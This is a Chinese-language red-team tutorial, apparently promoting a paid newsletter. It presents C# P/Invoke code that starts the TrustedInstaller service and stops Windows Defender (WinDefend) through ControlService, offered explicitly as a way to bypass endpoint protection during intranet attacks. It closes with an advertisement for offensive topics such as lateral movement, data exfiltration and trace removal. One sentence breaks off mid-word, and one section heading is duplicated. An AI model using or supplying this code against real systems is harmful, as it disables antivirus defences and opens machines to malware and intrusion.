01基本介绍
02编码实现
原理上通过Windows API函数将当前进程的权限提升至TrustedInstaller,从而实现了对Windows Defender服务的控制。通常可以利用Windows API中的OpenSCManager、OpenProcessToken、ImpersonateLoggedOnUser以及ControlService等函数协同工作,来实现对Windows Defender服务的关闭操作。
3.1 启动TrustedInstaller
ZwQueryInformationProcess函数用于获取指定进程的信息,如进程ID、父进程信息等,ReadProcessMemory函数用于从指
通过调用OpenSCManager、OpenService、StartService这三个API方法启动一个TrustedInstaller 服务。调用函数代码如下所示。
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, EntryPoint = "OpenSCManagerW", ExactSpelling = true, SetLastError = true)]
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess);
OpenService函数用于打开服务控制管理器(SCM)数据库中指定的服务,方便进行下一步的操作(如启动、停止等),具体代码如下所示。
[DllImport("advapi32", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors);
StartService函数是Windows Service Control Manager (SCM) API的一部分,用于启动一个已安装的服务。为了便于使用,我们封装成一个自定义方法start_trustedinstaller_service,具体代码如下所示。
public static void start_trustedinstaller_service()
{
IntPtr intPtr = Program.OpenSCManager(null, null, 0xF003F);
bool flag = intPtr == IntPtr.Zero;
if (flag)
{
Console.WriteLine("OpenSCManager failed!");
}
else
{
Console.WriteLine("OpenSCManager success!");
string lpServiceName = "TrustedInstaller";
IntPtr intPtr2 = Program.OpenService(intPtr, lpServiceName, (uint) SERVICE_ACCESS.SERVICE_START);
bool flag2 = Program.StartService(intPtr2, 0, null);
bool flag3 = flag2;
if (flag3)
{
Console.WriteLine("TrustedInstaller service started!");
}
else
{
Console.WriteLine("TrustedInstaller service cannot be started!");
}
Thread.Sleep(2000);
Program.CloseHandle(intPtr2);
Program.CloseHandle(intPtr);
}
}
上述代码中,依次调用系统API函数OpenSCManager,用于打开服务控制管理器数据库,并返回一个句柄。参数 null 表示连接到本地计算机,0xF003F 是访问权限标志,表示具有完全访问权限。
接着,声明一个值为TrustedInstaller的变量ServiceName,使用 OpenService 函数打开 TrustedInstaller 服务,并返回一个服务句柄。SERVICE_ACCESS.SERVICE_START 权限表示具有启动服务的权限。
最后,调用API 函数 StartService 启动 TrustedInstaller 服务。
3.2 启动TrustedInstaller
通过调用OpenService、ControlService等API函数来关闭Windows Defender。调用函数代码如下所示。
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ControlService(IntPtr hService, Program.SERVICE_CONTROL dwControl, ref Program.SERVICE_STATUS lpServiceStatus);
ControlService函数,用于控制Windows服务的,包括启动、停止、暂停等。最后,我们封装成一个自定义方法stop_defender_service,实现的过程利用ControlService函数打开Windows Defender服务,将服务的句柄权限标志设置成SERVICE_STOP即可,具体实现代码如下所示。
public static void stop_defender_service()
{
IntPtr intPtr = Program.OpenSCManager(null, null, 983103U);
bool flag = intPtr == IntPtr.Zero;
if (flag)
{
Console.WriteLine("OpenSCManager failed!");
}
else
{
Console.WriteLine("OpenSCManager success!");
string lpServiceName = "WinDefend";
IntPtr intPtr2 = Program.OpenService(intPtr, lpServiceName, 44U);
Program.SERVICE_STATUS service_STATUS = default(Program.SERVICE_STATUS);
bool flag2 = Program.ControlService(intPtr2, Program.SERVICE_CONTROL.STOP, ref service_STATUS);
bool flag3 = flag2;
if (flag3)
{
Console.WriteLine("Windefender service stopped!");
}
else
{
Console.WriteLine("Windefender service cannot be stopped!");
}
Thread.Sleep(2000);
Program.CloseHandle(intPtr2);
Program.CloseHandle(intPtr);
}
}
综上,通过一系列步骤成功模拟 TrustedInstaller 服务的令牌,从而停止 Windows Defender反病毒软件服务,也因此该方法在内网红队绕过Windows终端安全防护阶段具有重要的意义。想要了解完整或者更多的内网安全防御绕过方向的文章,参考小报童《.NET 内网实战攻防》电子报刊。
03.NET 电子报刊
本次电子报刊《.NET 内网安全攻防》专栏,内容主要有.NET在各个内网渗透阶段与Windows系统交互的方式和技巧,可细分为以下8个方向。
1) .NET 安全防御绕过
2) .NET 本地权限提升
3) .NET 内网信息收集
4) .NET 内网代理通道
5) .NET 内网横向移动
6) .NET 目标权限维持
7) .NET 数据传输外发
8) .NET 目标痕迹清理